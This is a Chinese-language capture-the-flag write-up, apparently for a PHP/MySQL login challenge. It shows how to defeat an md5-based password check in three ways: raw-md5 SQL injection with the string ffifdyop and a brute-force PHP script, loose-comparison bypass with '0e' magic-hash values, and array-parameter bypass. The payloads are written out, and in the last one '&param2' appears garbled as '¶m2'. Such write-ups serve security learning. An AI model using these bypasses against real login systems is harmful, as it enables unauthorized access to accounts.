点击f12,查看源代码看看有没有消息
Hint:select * from ‘admin’ where password =md5($pass,ture)
我们要让password=md5($pass,ture)
mysql里面,在用作布尔型判断时,以数字开头的字符串会被当做整型数。
要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。
<?php
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
}
?>
按照大佬们的说法ffifdyop这个字符串md5后是276f722736c95d99e921722cf9ed621c,这里mysql会把hex转成ascii解释,上面这串字符ascii后是’ or’6开头,拼接后的结果就是select * from ‘admin’ where password =’ ‘ or ‘6xxxxx’,因为or的存在所以这就是个永真式,就可以成功绕过md5()函数
输入ffifdyop
这里使用了==弱比较
== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较
0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0
我们使用之前两个弱比较相等的值,QNKCDZO和s878926199a,构造payload
?a=QNKCDZO&b=s878926199a
md5还能通过数组绕过,原理是md5等函数不能处理数组,导致函数返回Null。
根据提示,我们post数据
param1[]=1¶m2[]=2